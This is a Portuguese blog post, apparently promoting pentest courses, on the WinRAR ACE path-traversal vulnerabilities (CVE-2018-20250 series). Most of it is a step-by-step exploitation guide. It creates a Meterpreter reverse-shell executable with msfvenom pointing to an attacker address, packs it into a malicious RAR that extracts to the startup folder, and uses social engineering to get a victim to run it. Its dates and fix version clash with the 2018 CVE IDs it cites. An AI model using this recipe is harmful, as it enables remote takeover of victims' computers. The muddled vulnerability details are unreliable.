Correção de Falhas de Segurança no WinRAR

O WinRAR é um dos aplicativos de compactação de arquivos do Windows mais populares do mundo. Em 2023, o app sofreu graves falhas de segurança, corrigindo-as em seguida. Isso demonstra a importância de nos mantermos vigilantes em termos de segurança digital.

Uma das vulnerabilidades poderia ser explorada enganando um usuário a extrair arquivos maliciosos. Identificada no ano passado por research.checkpoint[.]com, ela afeta todas as versões lançadas nos últimos anos.

Você quer saber detalhes sobre as falhas de segurança no WinRAR e como explorá-las? Acompanhe e descubra!

Quais são as vulnerabilidades identificadas no WinRAR?

As falhas de segurança encontradas no aplicativo foram as seguintes CVE-IDs:

  • CVE-2018-20250
  • CVE-2018-20251
  • CVE-2018-20252
  • CVE-2018-20253

Versão Corrigida: WinRAR 6.24

Elas se devem à presença da biblioteca UNACEV2.DLL em todas as versões do WinRAR. O aplicativo utiliza o formato ACE para compactar e descompactar arquivos com a ajuda da UNACE.DLL.

Nas versões anteriores do WinRAR, incluindo a 5.61, há uma vulnerabilidade de passagem de caminho ao criar o campo de nome de arquivo do formato ACE (em UNACEV2.dll).

Quando o campo do nome do arquivo é manipulado com padrões específicos, a pasta de destino (para extração) é ignorada, tratando assim o nome do arquivo como um caminho absoluto. Isso ocorre devido à compilação inadequada quando unace.dll é utilizada.

Como explorar a vulnerabilidade?

Comece baixando um script Python, que vai gerar um arquivo malicioso no formato RAR. Após o download, instale as dependências necessárias:

Então, conceda permissões totais ao script Python na pasta Evil-WinRAR-Gen. Em seguida, gere um arquivo executável malicioso com a ajuda do msfvenom e nomeie-o como “winrar.exe”:

  • chmod 777 evilWinRAR.py
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=1234 -f exe > winrar.exe

Logo depois, crie um arquivo de texto que será exibido para a vítima quando ela extrair o arquivo RAR para confundi-la:

  • touch winrar.txt

Execute o script Python evilWinRAR.py com o arquivo executável e o arquivo de texto maliciosos, criando um arquivo malicioso que você pode enviar ao alvo:

  • ./evilWinRAR.py -e winrar.exe -g winrar.txt

Em seguida, inicie um servidor HTTP simples para hospedar os arquivos maliciosos:

  • python -m SimpleHTTPServer 8080

A vulnerabilidade permite a extração do arquivo malicioso em um caminho arbitrário. Com esse script, permitiremos a extração de arquivos RAR no diretório de inicialização do sistema.

Utilize a engenharia social para transferir o arquivo RAR malicioso para a vítima e aguarde até que ela reinicie a máquina para obter a conexão reversa do alvo.

Atualmente, não há nenhum programa de inicialização na máquina de destino. Assim que a vítima extrair o arquivo RAR malicioso “evil.rar”, nosso backdoor winrar.exe será extraído no diretório de inicialização.

Para garantir a execução do arquivo winrar.exe na inicialização, digite shell:startup no prompt de execução. Quando a vítima reiniciar a máquina, você obterá uma conexão reversa conforme demonstrado.

Você conferiu como explorar falhas de segurança no WinRAR. Para saber mais sobre hacking pentest, clique aqui e conheça os cursos da Solyd!